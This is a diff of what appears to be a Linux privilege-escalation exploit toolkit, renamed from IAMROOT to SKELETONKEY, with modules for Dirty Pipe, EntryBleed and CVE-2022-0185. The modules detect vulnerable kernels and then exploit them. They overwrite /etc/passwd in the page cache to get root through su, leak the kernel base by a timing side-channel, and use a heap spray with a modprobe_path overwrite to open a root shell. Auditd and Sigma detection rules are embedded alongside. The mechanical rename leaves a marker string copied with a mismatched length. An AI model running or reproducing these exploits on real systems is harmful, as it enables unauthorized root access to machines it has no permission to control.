fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (euid == 0) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
||||
if ((uid_off & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
||||
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
||||
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained so
|
||||
* `iamroot --detect-rules --format=auditd` works without a separate
|
||||
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||
* data-dir install. */
|
||||
static const char dirty_pipe_auditd[] =
|
||||
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
||||
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-iamroot-dirty-pipe\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
"status: experimental\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
||||
|
||||
const struct iamroot_module dirty_pipe_module = {
|
||||
const struct skeletonkey_module dirty_pipe_module = {
|
||||
.name = "dirty_pipe",
|
||||
.cve = "CVE-2022-0847",
|
||||
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
||||
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_pipe(void)
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
{
|
||||
iamroot_register(&dirty_pipe_module);
|
||||
skeletonkey_register(&dirty_pipe_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
|
||||
- Lift the proven EntryBleed code from
|
||||
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
|
||||
`module.c` here
|
||||
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
|
||||
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
|
||||
library helper (`uint64_t entrybleed_leak_kbase(void)`)
|
||||
- Detection rules: timing-attack pattern flags, perf-counter
|
||||
anomaly detection (informational — these are hard to make precise
|
||||
|
||||
@@ -14,10 +14,10 @@ Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
|
||||
|
||||
Mainline status: no canonical patch — partial mitigations only.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
This is a **stage-1 leak primitive**, not a standalone LPE. Other
|
||||
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
|
||||
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
|
||||
only; the `entry_SYSCALL_64` slot offset is configurable via the
|
||||
`IAMROOT_ENTRYBLEED_OFFSET` env var.
|
||||
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
|
||||
|
||||
+25
-25
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* entrybleed_cve_2023_0458 — IAMROOT module
|
||||
* entrybleed_cve_2023_0458 — SKELETONKEY module
|
||||
*
|
||||
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
|
||||
* timing side-channel that leaks the kernel base address.
|
||||
@@ -13,10 +13,10 @@
|
||||
* anti-EntryBleed mitigation = VULNERABLE.
|
||||
* - This module is also a LIBRARY: other modules that need a kbase
|
||||
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
|
||||
* directly (declared in iamroot_modules.h).
|
||||
* directly (declared in skeletonkey_modules.h).
|
||||
*
|
||||
* x86_64 only. On ARM64 / other arches, detect() returns
|
||||
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
|
||||
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
|
||||
*
|
||||
* For users who'd never go to USENIX (TLDR):
|
||||
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
|
||||
@@ -30,7 +30,7 @@
|
||||
* - Subtract its known offset from kbase → KASLR slide
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
|
||||
return 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||
"assuming KPTI on (conservative)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||
"EntryBleed N/A\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
|
||||
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
|
||||
"leak yields plausible kbase 0x%lx\n", kbase);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
|
||||
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
/* Implausible probe result. Either the entry_SYSCALL_64 slot
|
||||
* offset doesn't match lts-6.12.x default (different kernel
|
||||
* build) — user should set IAMROOT_ENTRYBLEED_OFFSET — or
|
||||
* build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or
|
||||
* timing is too noisy. Don't claim CONFIRMED. */
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
|
||||
"no /etc/passwd writes)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
|
||||
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
|
||||
unsigned long off = 0;
|
||||
if (off_env) {
|
||||
off = strtoul(off_env, NULL, 0);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
||||
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
||||
}
|
||||
} else if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
|
||||
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
|
||||
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
|
||||
DEFAULT_ENTRY_OFF);
|
||||
}
|
||||
|
||||
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
unsigned long kbase = entrybleed_leak_kbase_lib(off);
|
||||
if (kbase == 0) {
|
||||
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->json) {
|
||||
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
|
||||
kbase - 0xffffffff81000000UL);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
#else /* not x86_64 */
|
||||
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
|
||||
return 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
|
||||
"different architecture\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
|
||||
static const char entrybleed_sigma[] =
|
||||
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
|
||||
"id: 7b3a48d1-iamroot-entrybleed\n"
|
||||
"id: 7b3a48d1-skeletonkey-entrybleed\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
|
||||
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
|
||||
"level: informational\n"
|
||||
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
|
||||
|
||||
const struct iamroot_module entrybleed_module = {
|
||||
const struct skeletonkey_module entrybleed_module = {
|
||||
.name = "entrybleed",
|
||||
.cve = "CVE-2023-0458",
|
||||
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
|
||||
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_entrybleed(void)
|
||||
void skeletonkey_register_entrybleed(void)
|
||||
{
|
||||
iamroot_register(&entrybleed_module);
|
||||
skeletonkey_register(&entrybleed_module);
|
||||
}
|
||||
+4
-4
@@ -1,13 +1,13 @@
|
||||
/*
|
||||
* entrybleed_cve_2023_0458 — IAMROOT module registry hook
|
||||
* entrybleed_cve_2023_0458 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
|
||||
#define ENTRYBLEED_IAMROOT_MODULES_H
|
||||
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||
#define ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module entrybleed_module;
|
||||
extern const struct skeletonkey_module entrybleed_module;
|
||||
|
||||
/* Library entry point for other modules that need a kbase leak.
|
||||
* Returns the leaked kernel _text base on success, or 0 on failure
|
||||
@@ -18,7 +18,7 @@ Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
|
||||
Upstream fix: mainline 5.16.2 (Jan 2022).
|
||||
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
userns+mountns reach, `fsopen("cgroup2")` + double
|
||||
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
|
||||
#define FUSE_LEGACY_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module fuse_legacy_module;
|
||||
|
||||
#endif
|
||||
+45
-45
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* fuse_legacy_cve_2022_0185 — IAMROOT module
|
||||
* fuse_legacy_cve_2022_0185 — SKELETONKEY module
|
||||
*
|
||||
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
|
||||
* parsing the "fsconfig" filesystem option strings — specifically,
|
||||
@@ -38,7 +38,7 @@
|
||||
*
|
||||
* On a *patched* host (which is every host we can routinely build
|
||||
* on in 2026) detect() refuses and exploit() returns
|
||||
* IAMROOT_PRECOND_FAIL with no syscalls.
|
||||
* SKELETONKEY_PRECOND_FAIL with no syscalls.
|
||||
*
|
||||
* Affected: kernel 5.1+ until fix:
|
||||
* Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2
|
||||
@@ -57,7 +57,7 @@
|
||||
* is enabled.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -169,12 +169,12 @@ static int can_unshare_userns_mount(void)
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* detect */
|
||||
/* ------------------------------------------------------------------ */
|
||||
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
||||
@@ -184,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
||||
v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
|
||||
@@ -192,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
@@ -208,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
|
||||
@@ -216,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
|
||||
"docker/podman/snap setups\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
@@ -363,7 +363,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
|
||||
* On a vulnerable host with matching offsets this path can land the
|
||||
* write; on an unverified host the sanity gate refuses rather than
|
||||
* blind-writing a wild pointer. The finisher's downstream
|
||||
* "/tmp/iamroot-pwn ran?" check is the second gate.
|
||||
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
|
||||
*/
|
||||
struct fuse_arb_ctx {
|
||||
/* Pre-allocated queue ids from the spray phase. */
|
||||
@@ -371,7 +371,7 @@ struct fuse_arb_ctx {
|
||||
int n_queues;
|
||||
int hole_q;
|
||||
/* Tagged-payload reference so we can recognise unmodified neighbours. */
|
||||
const char *tag; /* "IAMROOT" */
|
||||
const char *tag; /* "SKELETONKEY" */
|
||||
/* Whether the first-round trigger already fired (the parent's
|
||||
* default-path overflow). When set we re-spray + re-fire; when
|
||||
* unset we assume the spray is hot. */
|
||||
@@ -517,11 +517,11 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* exploit */
|
||||
/* ------------------------------------------------------------------ */
|
||||
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* (R1) Re-call detect — refuse if not vulnerable. */
|
||||
iamroot_result_t pre = fuse_legacy_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -531,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -541,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
|
||||
* which is what fsopen("cgroup2") + fsconfig require. */
|
||||
if (!enter_userns_root()) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
|
||||
@@ -552,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
* to land write-past-end into the next adjacent msg_msg.
|
||||
*
|
||||
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
|
||||
* shape but with knobs scaled for an iamroot one-shot.
|
||||
* shape but with knobs scaled for an skeletonkey one-shot.
|
||||
*/
|
||||
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
|
||||
int *qids = calloc(N_QUEUES, sizeof(int));
|
||||
if (!qids) {
|
||||
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
for (int i = 0; i < N_QUEUES; i++) {
|
||||
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||
@@ -574,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
if (spray == MAP_FAILED) {
|
||||
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
|
||||
free(qids);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
spray->mtype = 0x4242;
|
||||
/* Tag the payload so we can recognise our spray slots in
|
||||
@@ -614,7 +614,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
char *first_chunk = malloc(4081);
|
||||
if (!first_chunk) {
|
||||
free(qids); munmap(spray, sizeof *spray);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
memset(first_chunk, 'A', 4080);
|
||||
first_chunk[4080] = '\0';
|
||||
@@ -632,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
* step below. */
|
||||
char evil_chunk[256];
|
||||
memset(evil_chunk, 'B', sizeof evil_chunk);
|
||||
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
|
||||
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
|
||||
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
|
||||
evil_chunk[sizeof evil_chunk - 1] = '\0';
|
||||
|
||||
@@ -653,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
|
||||
errno, strerror(errno));
|
||||
free(qids); munmap(spray, sizeof *spray);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -725,7 +725,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
* (see fuse_arb_write). On a host where offsets + groom land,
|
||||
* the finisher's modprobe_path overwrite → execve(unknown) →
|
||||
* call_modprobe chain pops a root shell. On a mismatched host
|
||||
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
|
||||
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
|
||||
* fabricated success.
|
||||
*
|
||||
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
|
||||
@@ -739,19 +739,19 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
"kernel offsets...\n");
|
||||
}
|
||||
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
memset(&off, 0, sizeof off);
|
||||
int resolved = iamroot_offsets_resolve(&off);
|
||||
int resolved = skeletonkey_offsets_resolve(&off);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
|
||||
"(modprobe_path=0x%lx source=%s)\n",
|
||||
resolved, (unsigned long)off.modprobe_path,
|
||||
iamroot_offset_source_name(off.source_modprobe));
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offset_source_name(off.source_modprobe));
|
||||
skeletonkey_offsets_print(&off);
|
||||
}
|
||||
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("fuse_legacy");
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("fuse_legacy");
|
||||
/* Cleanup before returning. */
|
||||
for (int q = 0; q < N_QUEUES; q++) {
|
||||
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
|
||||
@@ -759,18 +759,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
free(qids);
|
||||
munmap(spray, sizeof *spray);
|
||||
if (fsfd >= 0) close(fsfd);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
struct fuse_arb_ctx ax = {
|
||||
.qids = qids,
|
||||
.n_queues = N_QUEUES,
|
||||
.hole_q = hole_q,
|
||||
.tag = "IAMROOT",
|
||||
.tag = "SKELETONKEY",
|
||||
.trigger_armed = true,
|
||||
};
|
||||
|
||||
iamroot_result_t fr = iamroot_finisher_modprobe_path(
|
||||
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
|
||||
&off, fuse_arb_write, &ax, !ctx->no_shell);
|
||||
|
||||
/* Cleanup IPC + mapping regardless of finisher result. The
|
||||
@@ -783,14 +783,14 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
||||
munmap(spray, sizeof *spray);
|
||||
if (fsfd >= 0) close(fsfd);
|
||||
|
||||
if (fr == IAMROOT_EXPLOIT_OK) {
|
||||
return IAMROOT_EXPLOIT_OK;
|
